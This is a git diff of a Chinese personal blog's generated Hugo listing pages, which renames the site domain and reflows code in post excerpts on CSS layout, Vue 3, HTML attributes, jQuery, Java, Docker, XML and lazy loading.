-优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
-display: table; // 也可以为block
-margin: 0 auto;
-// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
-}
-优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
-position: relative; // 父元素相对定位
-}
-.child{
-position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
-left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
-}
-优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
-// 父元素
-display: table-cell;
-vertical-align: middle; // 设置文本的垂直方向对齐方式
-}
-优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://xiaochenabc123.github.io/posts/24/></a></article><article class=post-entry><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
+absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://chenjunlinabc.github.io/posts/24/></a></article><article class=post-entry><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
 导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用
@@ -51,91 +26,41 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{…}}，例如：
-&lt;div id="app">
-&lt;p>{{ hallovuejs }}&lt;/p>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-hallovuejs: "hallo vuejs!"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&lt;div id="app">
-&lt;a v-bind:href="url">{{ main }}&lt;/a>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-url:"https://xiaochenabc123.test.com",
-main: "小陈的辣鸡屋"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&lt;div id="app"> &lt;p>{{ hallovuejs }}&lt;/p> &lt;/div> &lt;script> const hallo ={ data() { return { hallovuejs: "hallo vuejs!" } } } Vue.createApp(hallo).mount("#app") &lt;/script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&lt;div id="app"> &lt;a v-bind:href="url">{{ main }}&lt;/a> &lt;/div> &lt;script> const hallo ={ data() { return { url:"https://xiaochenabc123.test.com", main: "小陈的辣鸡屋" } } } Vue.createApp(hallo).mount("#app") &lt;/script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&lt;div id="app">
-&lt;button v-on:click="go">{{ main }}&lt;/button>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-main: "hallo"
-}
-},
-methods: {
-go: function(){
-console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://xiaochenabc123.github.io/posts/23/></a></article><article class=post-entry><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
+&lt;div id="app"> &lt;button v-on:click="go">{{ main }}&lt;/button> &lt;/div> &lt;script> const hallo ={ data() { return { main: "hallo" } }, methods: { go: function(){ console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://chenjunlinabc.github.io/posts/23/></a></article><article class=post-entry><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
 accesskey
 定义快捷键获取焦点，例如
-&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a>
-按ait+q，就会跳到指定的网页上
+&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&lt;div class = "a1 a2 a3">&lt;/div>
-id
+&lt;div class = "a1 a2 a3">&lt;/div> id
 定义一个id，id为唯一性，不能重复，例如
-&lt;div id = "a1">&lt;/div>
-lang
+&lt;div id = "a1">&lt;/div> lang
 定义网页或者元素的语言，例如
-&lt;div lang = "fr">&lt;/div>
-style
+&lt;div lang = "fr">&lt;/div> style
 定义元素的行内样式，例如
-&lt;div style="color : #fff">hi&lt;/div>
-tabindex
+&lt;div style="color : #fff">hi&lt;/div> tabindex
 指定tab键的焦点控制，例如
-&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a>
-使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&lt;div contenteditable="true">hi&lt;/div>
-dir
+&lt;div contenteditable="true">hi&lt;/div> dir
 指定元素内文本的方向，例如
-&lt;div dir = "rtl">hi&lt;/div>
-ltr默认值，从左到右
+&lt;div dir = "rtl">hi&lt;/div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&lt;div title = "hi">hi&lt;/div>
-data-xxx
+&lt;div title = "hi">hi&lt;/div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&lt;div draggable = "true">hi&lt;/div>
-hidden
+&lt;div draggable = "true">hi&lt;/div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&lt;div hidden = "hidden">hi&lt;/div>
-contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://xiaochenabc123.github.io/posts/22/></a></article><article class=post-entry><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
+&lt;div hidden = "hidden">hi&lt;/div> contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://chenjunlinabc.github.io/posts/22/></a></article><article class=post-entry><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
 $(‘div’).html(“hello.world”);
 ##DOM对象和jQuery对象互转化
 jQuery对象和DOM对象是不一样的，但是都能操作DOM
@@ -168,7 +93,7 @@
 多项选择器
 $(“div[class=divs],a[href=“https://xiaochenabc123.test.com”)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://xiaochenabc123.github.io/posts/21/></a></article><article class=post-entry><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
+层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://chenjunlinabc.github.io/posts/21/></a></article><article class=post-entry><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
 java分为Java SE、Java EE 和 Java ME。
@@ -188,7 +113,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -198,8 +124,8 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://xiaochenabc123.github.io/posts/19/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/20/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/22/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://chenjunlinabc.github.io/posts/19/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/20/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/22/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/22/index.html b/page/22/index.html
index ce787ac6..aae18f24 100644
--- a/page/22/index.html
+++ b/page/22/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
 在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现
@@ -27,7 +27,7 @@
 配置稳定Docker CE源
 sudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable”
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://xiaochenabc123.github.io/posts/18/></a></article><article class=post-entry><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
+sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://chenjunlinabc.github.io/posts/18/></a></article><article class=post-entry><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
 version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档
@@ -63,7 +63,7 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://xiaochenabc123.github.io/posts/17/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://chenjunlinabc.github.io/posts/17/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
 例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象
@@ -85,22 +85,7 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
-// 实例化
-target.forEach((item) =>{
-if (item.intersectionRatio){
-// 当目标可视
-item.target.src = item.target.alt; // 进行属性值覆盖
-lazyload.unobserve(item.target) // 停止观测
-}
-})
-},{
-rootMargin: "100px" // 提前100px
-}); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素
-imgs.forEach((item) => {
-lazyload.observe(item)
-// 开始观测
